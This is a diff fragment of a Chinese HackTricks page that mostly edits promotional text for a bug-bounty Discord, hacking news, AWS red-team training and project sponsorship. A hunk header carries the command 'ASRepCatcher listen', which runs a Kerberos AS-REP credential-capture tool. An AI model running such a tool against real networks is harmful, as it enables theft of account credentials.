<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
@ -123,12 +125,12 @@ ASRepCatcher listen
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,保持对快速变化的黑客世界的了解
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金计划和重要平台更新
了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
**今天就加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶尖黑客开始合作!
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -139,8 +141,8 @@ ASRepCatcher listen
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass)**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}